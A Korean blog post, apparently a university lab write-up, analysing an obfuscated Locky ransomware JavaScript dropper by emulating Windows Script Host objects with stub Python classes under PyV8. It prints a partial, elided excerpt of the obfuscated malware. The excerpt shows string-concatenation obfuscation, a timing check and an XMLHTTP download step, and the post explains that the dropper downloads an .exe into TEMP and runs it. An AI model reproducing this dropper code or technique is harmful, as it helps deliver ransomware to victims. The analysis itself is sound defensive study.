보안

Locky 랜섬웨어 분석 (JavaScript 악성코드 분석 & Python Native API)

융서융서 2021. 2. 27. 17:58

이 악성코드는 Locky 랜섬웨어라고 알려져있으며, 자바스크립트 난독화를 통해 분석을 어렵게 한 것이 특징이다.

하지만 PyV8을 이용해 Python Native API를 작성하고 오류 메시지를 확인하면서 API를 보완해나가면 난독화된 랜섬웨어 코드도 분석이 가능하다.

이 프로젝트에서는 python dummy api를 작성해 난독화된 Locky 랜섬웨어 코드의 동작 원리를 분석해보았다.

 

악성코드 소스

https://github.com/ottl-seo/Malware_Project/tree/master/javascript-ransomware-nativeAPI

 

GitHub - ottl-seo/Malware_Project: 2020-2 <악성코드실습및프로젝트> lab 과제

2020-2 <악성코드실습및프로젝트> lab 과제. Contribute to ottl-seo/Malware_Project development by creating an account on GitHub.

github.com

var vyKEmmrhFxZdWe = "f";
var XccsRPx = "isd";
var xGHYjNQKT = "auh";
var JEnYmBAqfGV = "fy";
var GQOcBHIrnbzXfND = "sd";
var xtsrPxKCya = "og";
var TjiVHcYkly = "fa7";
var OedFzC = "d8";
var lLw = "hgs";
var NxizN = "au7";
var VuvFkTYyXWE = "f";
var XWJ = "sd";
// 중략... 
WScript.Sleep(10);
var ZqQEM = new Date();
var TGqBh = ZqQEM.getMilliseconds();
WScript.Sleep(10);
var ZqQEM = new Date();
var onGxzHNxXfYI = ZqQEM.getMilliseconds();
var dheqOG = cJfZh - pgwiqeevFTwJ;
var HYzZWKSbniHSp = TGqBh - cJfZh;
var dtfmtkWnrKo = onGxzHNxXfYI - TGqBh;
WshShell = WScript[wHGqrO + dxSZvl + JnKFoms + ArXLfbfJYAuMNn + BLXkQxP + dVBRnpuIFCGavzX + ZTit + RGH0](YHMNtQzqt + jZVkl + gDHPayqkuPu + RHfBNnFuKZoI + KjzatIZBIiCW + BBujaJIB + TllbdupzD);
function JlswcFgYHKvjD(TAXdOhCKhg){WshShell[kIOK + DfdyswguaZpAlRG](TAXdOhCKhg, 0, 0);}
function MvEKLcirHYnFRfF(n){return qoz + ptOUpMuUSgtbIp + twRGIP + MAOUtweRuskUfy + dgYjXRPEPfGV + pmrx + GnTTeJZTyI;}
if ((dheqOG != HYzZWKSbniHSp) || (HYzZWKSbniHSp != dtfmtkWnrKo)){ClJ = WshShell[sOK + vERZTjBviaK + SPwycXESxAW + Ufi0 + aiplDlCkEun + ywofnD + TxLOhBaymy + WwxSO + ZhmPwpIZmMnGzM + QwpdWVHoVApnlCN + vXKlwSD + iJSbpuVHJypOMd + OLLja + Ymmzey](DhyvkobECgEPz + LSwtJXBtmmF + iEXKFVhoND) + qalCAhrGkurCK + unuqBvUOgaoWi + JYvV + NEXYXXH + SQmMHXLrUNUjj + dGH + VEx + aiBqZpdcLonUFo;
 GUIWYQboxOa = MvEKLcirHYnFRfF(0);
 dQZfBp = WScript.CreateObject(GUIWYQboxOa);
dQZfBp[DkpidnzOqisg + oSvFlUKfYW + GCsiNU](XKmAmq + ZkFGmb, qCyNnjRbbaIfPXO + xbCmjbkvEeET + tsQder + rqrnQ + VHTPR + Bqwxry + hCTtOvOFKoygvR + mYb + JQiktsCjXTysE + hTJcscPDI + ekB + iNdmuxLnH + Hzjq + ojxWfuFYZ + gWsYbgpGfqmgfVE + bTxtNQJIyySs + FljUFQhCxi + wsDdERCvlvG + hJroRoi + VvIruZ + LAYzMSURCXkyTd + khgI + npP0 + RuPn, false);
dQZfBp.send();
while (dQZfBp.readystate < 4 ) {WScript.Sleep(1000)};
// 중략

 


분석 결과

분석에 앞서, 이 랜섬웨어가 어떤 동작을 수행하는지 정리해보았다.
해당 악성코드는 다음과 같은 동작을 차례로 수행한다.

  1. 웹사이트 (http://www.kidshealing~~~ ) 에서 파일 다운로드
  2. 사용자 컴퓨터의 TEMP 폴더에 저장
  3. 다운받은 파일 실행

특정 사이트에서 파일을 다운로드하여 사용자의 컴퓨터에 저장하고 실행하는 바이러스이다.


분석 과정

1. PyV8을 import하고 초기 세팅

yoonseo.py 로 저장- 이후 이 파일을 cmd창에서 실행하며 API 작성

※ 주의

악성코드 파일은 .js_vir 와 같이 잘못된 확장자로 저장해야 악성 행위가 실행되지 않는다.
.py 파일에서 악성코드 파일을 open 할 때, .js_vir 파일을 로딩하도록 한다.

c.f) .js_vir 파일을 .js 파일로도 저장하여, 자바스크립트 문법을 보기 편하게 세팅해주었다.

virus.js


2. cmd창에서 실행 결과, WScript.Sleep(10); 부분에서 정의되지 않았다는 오류 발생

위에서 초기 세팅한 yoonseo.py 파일을 실행시킨 결과


3. NativeAPI 클래스 정의 (WScript 클래스 정의)

- PyV8을 초기화할 때 사용하는 JSContext() 함수의 인자로 NativeAPI() 클래스 넣어줌

 

👉 결과

(1) WScript.Sleep() 정상 작동.

(2) WScript의 ‘CreateObject’ Property가 정의되지 않았다는 오류 메시지 발생.

 

* 오류가 난 js 코드 부분:


4. WScript 클래스 안에 CreateObject() 추가 정의

 

👉 결과

(1) WScipt.CreateObject()의 인자로 ‘WScript.Shell’라는 문자열이 온다는 것 알 수 있음.

(2) ExpandEnvironmentStrings TypeError 발생 : 환경변수의 Type이 맞지 않아 생긴 오류 => 5번에서 해결


5. WshShell 클래스 정의

환경변수의 Type이 맞지 않아 생긴 오류를 해결하기 위해,
ExpandEnvironmentStrings()을 이용하여 환경변수값을 바꾸는 함수를 추가해준다.

파이썬의 _winreg 모듈을 import 하고, 인자로 받은 문자열(uni)을 유니코드 문자열로 바꾸어 환경변수를 변경해주었다.
이후 유니코드 문자열로 바꾼 전과 후를 출력하였다.

 

👉 결과

(1) 인자로 받은 문자열: %TEMP%
(2) 이는 유니코드 문자열로 사용자 컴퓨터의 Temp 폴더를 가리키는 문자열로 변경됨을 알 수 있다.

(3) WScript.CreateObject()가 다시 실행되며 ‘MSXML2.XMLHTTP’ 를 출력하였다.

(4) Open() 메서드가 정의되어 있지 않다는 오류 메시지 => 6 번에서 해결


6. XMLHTTP 클래스 정의

WScript.CreateObject에 ‘msxml2.xmlhttp’일 경우, XMLHTTP 클래스를 반환하도록 추가한다.

- 아래 js 코드를 통해 XMLHTTP 클래스에 send()가 있음을 알 수 있다.

==> 이를 통해 정의한 XMLHTTP 클래스 코드

 

👉 결과

1) XMLHTTP.Open() 실행 시, 웹사이트 주소가 나온다. (b)
즉, XMLHTTP 를 수행함으로써 수상한 웹사이트에 접속하는 동작을 수행한다.

2) WScript.CreateObject: ADOBD.Stream 이 출력된다.


7. ADODBStream 클래스 정의

ADODBStream 클래스 정의,
WScript.CreateObjec()에도 adodbStream 반환하는 내용 추가

 

👉 결과

- write property 가 없다는 메시지

- write property 가 없다는 메시지를 통해 알 수 있는 사실

1) ADODBStream 클래스에 write() 추가 필요

2) SaveToFile() 추가 필요

3) close() 추가 필요

 

==> ADODBStream 클래스 최종 코드

 

👉 결과

 

💡 알 수 있는 사실

1) SaveToFile 함수를 통해 Temp 폴더에 ,exe 파일을 저장한다.

2) WshShell 클래스에 Run() 추가 필요하다는 메시지


8. WshShell 클래스에 함수 추가

인자 3 개를 갖는 Run() 함수를 추가해주었다.

 

👉 결과: 저장한 .exe 파일이 실행된다.

 

분석 끝!


NativeAPI 전체 코드

https://github.com/ottl-seo/Malware_Project/blob/master/javascript-ransomware-nativeAPI/Locky_NativeAPI.py

# -*- coding:utf-8 -*-
import PyV8
import _winreg
def WScript_create():
    return WScript()
    
class WshShell(PyV8.JSClass): 
    def ExpandEnvironmentStrings(self, uni):
        str=_winreg.ExpandEnvironmentStrings(unicode(uni)) #환경변수 변경
        print '[*] ExpandEnvironmentStrings: ', uni
        print ' -> new: ', str
        return str
    def Run(self,a,b,c):
        print '[*] WshShell.Run '
        print '  - a: ', a
        print '  - b: ', b
        print '  - c: ', c

class XMLHTTP(PyV8.JSClass):
    def send(self):
        print '[*] XMLHTTP.send'
    def open(self, a, b, c):
        print '[*] XMLHTTP.open : '
        print '  - a: ', a
        print '  - b: ', b
        print '  - c: ', c
    
class ADODBStream(PyV8.JSClass):
    def send(self):
        print '[*] ADODBStream.send'
    def open(self):
        print '[*] ADODBStream.open'
    def write(self, a):
        print '[*] ADODBStream.write'
        print '  - a: ',a
    def SaveToFile(self,a,b):
        print '[*] ADODBStream.SaveToFile:'
        print '  - a: ', a
        print '  - b: ', b
    def close(self):
        print '[*] ADODBStream.close'
        
class WScript(PyV8.JSClass):
    def Sleep(self, n):
        print '[*] WScript.Sleep : ',n
    def CreateObject(self,str):
        print '[*] WScript.CreateObject : ',str
        if(str.lower()=='wscript.shell'):
            return WshShell()
        elif(str.lower()=='msxml2.xmlhttp'):
            return XMLHTTP()
        elif(str.lower()=='adodb.stream'):
            return ADODBStream()
        
class NativeAPI(PyV8.JSClass):
    WScript=WScript_create()

ctx=PyV8.JSContext(NativeAPI()) # pyV8 초기화
ctx.enter()
buf=open('details_8f3759.js_vir','rb').read()
ctx.eval(buf)